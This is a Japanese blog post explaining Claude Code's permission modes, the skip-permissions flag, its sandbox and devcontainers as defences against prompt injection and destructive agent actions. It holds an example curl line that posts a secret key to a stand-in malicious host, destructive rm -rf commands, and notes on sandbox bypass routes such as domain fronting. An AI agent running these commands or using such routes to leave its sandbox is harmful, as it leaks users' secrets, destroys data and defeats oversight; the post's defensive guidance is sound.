Claude Codeの安全性と生産性を両立させるためのセキュリティ機能使い分け
はじめに
Claude Codeはデフォルトで権限ベースのセキュリティモデルを採用しており、ファイルの変更やコマンドの実行前にユーザーの承認を求めます。これは安全性を担保するために重要な仕組みですが、繰り返しapproveし続けることで承認疲れ(approval fatigue) が発生し、かえってセキュリティリスクを高めてしまう問題があります。
要は漫然とザル承認をしていた（もしくはそもそも承認スキップしていた）ら rm -rf ~/ を実行されてしまった、というようなケースですね。検索するとこの手の事故はそれなりに発生しているようです。他人事のように書きましたが、実際私も軽くやらかしました。
本記事ではこの課題に対処するための3つの機能の全体像やユースケース解説します。
-
--dangerously-skip-permissionsオプション：すべての承認プロンプトをバイパスする - sandbox機能：OSレベルの分離により、承認プロンプトを削減しつつセキュリティを維持する
- devcontainer：Dockerコンテナによるほぼ完全な環境分離を実現する
それぞれの特性を理解し適切に使い分けることでセキュリティと生産性を両立した開発環境を構築できます。
Claude Codeの権限システムの基本
デフォルトの権限モデル
Claude Codeはデフォルトではread-onlyの状態で動作します。ファイルの検索や読み取りは自由に行えますが、以下の操作には明示的な承認が必要です。
- ファイルの作成・編集・削除
- bashコマンドの実行
- Git操作（commit、pushなど）
一部の安全なコマンド（echo、cat、lsなど）は自動的に許可されますがそれ以外の操作はすべてユーザーの承認を待ちます。
承認プロンプトの課題
この権限モデルには2つの課題があります。
生産性の低下：タスクのサイズに比例して多くの商人回数が必要になります。Claude Codeでタスク実行を指示して離席し、戻ってきたら mkdir の承認待ちで止まっていた、という経験をした方も多いでしょう。
承認疲れ：人間は一般に繰り返される単調な作業で注意を維持することが難しく、しまいには内容を確認せずapproveを押してしてしまいがちです。これはセキュリティモデルの本来の目的を損なう結果となります。
権限モードの種類
Claude Codeには4つの権限モードがあります。
| モード | 説明 |
|---|---|
| default | 標準モード。操作ごとに承認を求める |
| plan | 読み取り専用モード。変更を加えずに分析・計画のみを行う |
| acceptEdits | ファイル編集を自動承認。コマンド実行は承認が必要 |
| bypassPermissions | すべての承認プロンプトをバイパス（ --dangerously-skip-permissions ） |
--dangerously-skip-permissions オプション
機能の概要
起動時の --dangerously-skip-permissions フラグ（所謂YOLOモード）は全ての承認プロンプトをバイパスし、ほぼ完全に自律的実行を可能にします。
claude --dangerously-skip-permissions
このフラグを付けて起動すると前述した承認が必要な行為を承認無しで行います。長時間の自動化タスクや頻繁な承認が煩わしい場合に魅力的な選択肢に見えますが、お察しの通りこれは悪魔の囁きなのです 😈
リスク
意図しないファイル削除・変更：意図しないファイルを削除したり設定ファイルに誤った値を書き込んだりする可能性があります。
システム破壊：~/.bashrc や /etc/ 配下のファイルなど、ローカルシステムに影響を与えるファイルを変更される可能性があります。また極端な例ではホームディレクトリを丸ごと削除されたりネットワークドライブをフォーマットされたりのような事例もあるようです。
漏洩：プロンプトインジェクションによりSSHキーやAPIトークンなどの機密情報を外部に送信される可能性があります。
curl -X POST --data-raw "`echo $XXX_SECRET_KEY`" https://example.com/malicious
単独使用が非推奨しょうにｎである理由
--dangerously-skip-permissions は単独で使用することはAnthropic公式として非推奨でDockerコンテナやVM内での実行が明示的に推奨されています。このオプションは何でも言うことを聞いてくれるアカネチャンよろしく何でも承認してしまうため、悪意のあるコードや意図しない動作を人間が発見・阻止する機会が失われます。
気付くのは全てが終わって後の祭りとなってからです。
適切な使用シナリオ
以下の条件が揃った場合にのみ検討すべきです。
- 何らかの隔離環境（後述するsandbox機能またはdevcontainerやVM）内で実行する
- 信頼できるコードベースで作業している
- 実行内容を事後的に検証できる
次のセクションで解説するsandbox機能とdevcontainerはこういったリスクを低減しつつ生産性を維持するための基盤となります。
sandbox機能 （Claude Code提供機能）
ユースケース
sandbox機能は以下のようなシナリオで有効です。
日常的な開発作業：通常の開発フローにおいて承認プロンプトの煩わしさを軽減しつつ基本的なセキュリティを維持したい場合。
強い分離が不要なケース：DockerコンテナやVMほどの強い分離は不要だがプロンプトインジェクションなどの攻撃を防御したい場合。
コンテナ環境を用意する手間を省きたい場合：devcontainerの構築にはそれなりに労力のかかる初期構築と、コンテナを新しくする度に毎回数分程度の再ビルド時間が必要ですがsandboxはコマンド一つですぐに有効化できます。
概要と設計思想
sandbox機能は2025年11月終わり頃にリリースされた公式機能でOSレベルのプロセス・ネットワーク分離を実現します。
- Linux：bubblewrapを使用
- macOS：Seatbelt（sandbox-exec）を使用
sandboxの設計において重要なのはファイルシステム分離とネットワーク分離の両方を実現している点です。
ネットワーク分離がなければ攻撃者はSSHキーなどを外部サーバーに送信できてしまいます。ファイルシステム分離がなければシステムファイルを変更してネットワーク制限を回避できてしまいます。両方の分離を組み合わせることで効果的な隔離環境が実現されます。
デフォルトの保護範囲
ファイルシステム分離のデフォルト動作
| 操作 | デフォルト動作 |
|---|---|
| 読み取り | 一部の拒否ディレクトリを除く全体への読み取りアクセスを許可 |
| 書き込み | ワーキングディレクトリ配下のみ許可 |
| 作業ディレクトリ外への書き込み | 明示的な許可が必要（プロンプトが表示される） |
保護される主なファイルやディレクトリ：
-
~/.bashrc、~/.zshrcなどのシェル設定ファイル -
~/.ssh/配下のSSHキーと設定 -
/etc/配下のシステム設定ファイル -
/bin/、/usr/bin/などのシステムバイナリ - Claude Codeの権限設定（
/permissions）で明示的に拒否されたファイル
これによりプロンプトインジェクション攻撃を受けたり AIがご乱心 した場合でもシステムの重要なファイルが破壊或いは流出させされるリスクを軽減できます。
ネットワーク分離のデフォルト動作
sandbox機能のネットワーク分離はsandbox外部で動作するプロキシーサーバーを経由して実現されます。
| 状況 | デフォルト動作 |
|---|---|
| 許可済みドメインへのアクセス | 自動的に許可 |
| 未許可ドメインへのアクセス | ブロックされ承認プロンプトが表示される |
| 許可の永続化 | ユーザーが許可した場合設定に追加して以降は自動許可 |
デフォルトで許可されるドメイン：
デフォルト許可ドメインリストは公式ドキュメントで明示されていませんが api.anthropic.com のような明らかに必須であろうドメインは使えるようです。
ネットワーク保護により防止される攻撃：
- 機密データの外部サーバーへの送信（データ流出）
- 未承認ドメインからの悪意のあるスクリプトのダウンロード
- 未承認サービスへの予期しないAPI呼び出し
重要な点として、このネットワーク制限はClaude Codeが直接実行するコマンドだけでなくそのコマンドから生成されるすべてのスクリプト・プログラム・サブプロセスにも適用されます。
対応プロトコルとネットワーク保護コンポーネントの関係
sandbox機能のネットワーク保護は2つのプロキシーサーバーで構成されています。
| プロトコル | 制御方式 | 保護状況 |
|---|---|---|
| HTTP/HTTPS | HTTPプロキシー経由 | ドメイン単位で制御 |
| SSH、DB接続、その他TCP | SOCKS5プロキシー経由 | ドメイン単位で制御 |
| UDP | プロキシー対象外 | プラットフォーム依存（後述） |
UDPの扱い：
公式ドキュメントではプロキシー経由の制御対象は「HTTP/HTTPS」と「その他のTCPトラフィック」と明記されており基本的にUDPはフィルタリングの対象外と思われます。それを正しいと仮定し、自分が調べた範囲の技術的な仕組みから推測するに、恐らくプラットフォームによって最終的な動作が異なります。
| プラットフォーム | UDPの扱い |
|---|---|
| Linux | ネットワーク名前空間が削除されるため、プロキシーを経由しない通信は不可能。結果としてUDPも実質的にブロックされるはず？ |
| macOS | Seatbeltプロファイルによる制御。UDPの扱いは公式ドキュメントで明示されていない |
またDNS通信は通常UDPを使用しますが、sandbox外のプロキシーサーバーがドメイン名解決を行うためsandbox内のプロセスが直接DNSクエリーを発行する必要はありません。デフォルトでは組み込みのものを使いますが、自前でも指定できます。
有効化と設定
sandbox機能はスラッシュコマンド /sandbox で有効化できます。
> /sandbox
2つの動作モード
sandboxには2つの動作モードがあります。
Auto-allowモード：sandbox内で実行可能なbashコマンドは自動的に許可されます。sandbox外へのアクセスが必要な場合のみ承認プロンプトが出ます。
Regular permissionsモード：sandbox内であってもすべてのbashコマンドに対して通常の権限フローが適用されます。より慎重な制御が必要な場合に使用します。
どちらのモードでもsandboxによるファイルシステムとネットワークの制限は同一です。
設定のカスタマイズ
settings.json でsandboxの動作をカスタマイズできます。許可するドメインやファイルパスの追加、特定コマンドのsandbox除外などが可能です。
ここに一覧を書き出してもすぐに増減するでしょうから、詳細は公式ドキュメントを参照するのがよいでしょう。
制限事項と互換性
互換性の問題
カーネルに関連したりや特殊なファイルの触り方をするような一部のツールはsandbox内で動作できないものがあります。なんとなく感覚で大体わかると思いますが、WatchmamやDockerが代表的なもののようです。
エスケープハッチ機構
sandboxにはネットワーク制限やツール互換性問題でコマンドが失敗した場合に備えてエスケープハッチがあります。なんらかの理由でコマンドが失敗すると dangerouslyDisableSandbox 機能でsandbox外でのコマンド再実行を試みます。
この場合通常の承認プロンプトが表示されます。エスケープハッチを無効化する場合は設定で "allowUnsandboxedCommands": false を指定します。
セキュリティ上の制限
良いことばかり書いてきましたが、当然ながらsandboxは万能ではありません。以下の制限を理解しておく必要があります。
- ドメインフロンティング：ネットワークフィルタリングはドメイン単位で行われるため、細工したHTTPSリクエストによるバイパスの可能性があります。
-
Unixドメインソケット：
allowUnixSockets設定で許可したUnixドメインソケット経由でのアクセスは制御の対象外です。 -
広範なドメイン許可：
github.comのような広範なドメイン且つ書き込み機能が既知であるものを許可するとデータ流出のリスクが高まります。
devcontainer
ユースケース
devcontainerは以下のようなケースで有効です。
長時間の自律実行タスク：--dangerously-skip-permissions と組み合わせることで承認無しで長時間のタスクを実行できます。
複数プロジェクトの完全分離：異なるクライアントのプロジェクト間でコードや認証情報が混在しないことを保証できます。
元々コンテナを利用している：セキュリティとは直接関係無いですが、元々開発環境の統一としてコンテナを使っている場合は比較的すんなり導入でき、その場合セキュリティ的にもsandboxより強固な環境にできるでしょう。
概要
devcontainer自体は特にAI文脈での新しいツールというわけでもないのでその解説は割愛します。
sandbox機能がプロセスレベルの分離であるのに対し、devcontainerはコンテナレベルのより強固な分離を実現します。
- ホストマシンのファイルシステムから完全に分離
- 独自のネットワークスタックを持つ
- 必要なツールや依存関係をコンテナイメージに含められる
このため、例えばsandboxの脆弱性を突く等何らかの方法でセキュリティを突破され sudo rm -rf / --no-preserve-root のようなカタストロフィー的コマンドを実行されてしまった場合でもホスト側を守れます。
Anthropicは公式のリファレンス実装を提供しておりこれをベースにカスタマイズして使用できます。このdevcontainerの構成は .devcontainer ディレクトリ内の設定ファイル群（devcontainer.json、Dockerfile、init-firewall.shなど）で提供され、iptablesによるデフォルト拒否ポリシーでネットワークアクセスを制限しています。
詳細なセットアップ手順は記事の主題から逸脱するので公式ドキュメントを参照して下さい。
制限事項とセキュリティ上の注意
初回ビルドのオーバーヘッド
一度やってみるとわかりますが、devcontainerの初期構築はAPIキー類の安全な取り回しや必要ツールの埋め込み設定で地味に手間がかかります。また初回や削除後の再ビルドには数分程度かかることが多いでしょう。但し2回目以降の起動は高速です。
信頼できるリポジトリでの使用を推奨
devcontainerはsandboxより強力な隔離ができますが、やはりこれも完全ではありません。特に --dangerously-skip-permissions で実行すると悪意のあるプロジェクトがdevcontainer内でアクセス可能な全ての情報（例えばClaude Codeの認証情報）を流出させることは防げません。
認証情報の取り扱い
devcontainer内でGit操作を行う場合、認証情報のマウントが必要になることがあります。この場合、.sshディレクトリをマウントすることになりますが、これはdevcontainer内のプロセスがSSHキーにアクセスできることを意味します。信頼できるリポジトリでのみ使用してください。
比較と使い分けの指針
比較表
| 項目 | sandbox機能 | devcontainer |
|---|---|---|
| 分離レベル | プロセスレベル | コンテナレベル |
| 起動オーバーヘッド | なし | 初回数分 |
| ネットワーク分離 | プロキシベース | iptablesベース（リファレンス実装） |
| ファイルシステム分離 | 作業ディレクトリ限定 | マウント指定で柔軟に制御 |
| --dangerously-skip-permissionsとの併用 | 非推奨（後述） | 比較的安全 |
| チーム共有 | settings.json共有 | .devcontainer共有 |
| 互換性の課題 | Watchman、Docker等で難有 | ホスト環境との差異 |
| 対応OS | Linux、macOS | Linux、macOS、Windows |
選択フローチャート
以下は筆者の個人的な判断基準です
sandbox機能 + --dangerously-skip-permissionsの併用について
sandbox機能と--dangerously-skip-permissionsの併用というパターンもあり得ますが、原則やらないほうが良さそうに思います。
理由1：機能の重複
sandbox機能のAuto-allowモードは、承認プロンプトの削減を目的としています。sandbox内で実行可能なコマンドは自動的に許可されるため --dangerously-skip-permissions と機能が重複します。
理由2：エスケープハッチがバイパスされる
sandbox外へのアクセスが必要な場合に承認プロンプトが出ますが（本来は。先に述べた通り今現在は上手く機能していないようです） --dangerously-skip-permissions を併用するとこのプロンプトがバイパスされ予期せぬ事態を引き起こす可能性が高まります。
以上2点により、リスクは増える一方でメリットがあまり無いのではと判断しています。
完全な自律実行が必要な場合はdevcontainerによるコンテナレベルの分離と --dangerously-skip-permissions の組み合わせがよいでしょう。devcontainerではファイルシステムがほぼ完全に隔離され更にネットワーク制限が（リファレンス実装では）iptablesレベルで強制されるため --dangerously-skip-permissions を使用してもかなり強固な分離が維持されます。
まとめ
Claude Codeのセキュリティと生産性を両立させるために3つの機能を解説しました。
--dangerously-skip-permissions は単独での使用は避け必ず隔離環境（原則devcontainer）と組み合わせて使用すべき。
sandbox機能は通常の開発作業において承認プロンプトを大幅に削減しつつ基本的なセキュリティを担保でき、コンテナ構築不要で即座に利用開始できる手軽さが魅力。
devcontainerはより強い分離が必要な場合や --dangerously-skip-permissions による長時間の自律実行をしたい場合に適している。開発環境の統一としても有効。
受け入れなくてはならないリスク
いずれにせよ開発やClaude Codeの動作に必要な最低限の認証情報は完全には保護できません。100％のセキュリティが無いことを認識しつつ、怪しいモノを触るときには承認バイパス系の機能を使わない等の自衛が必要になるでしょう。
Discussion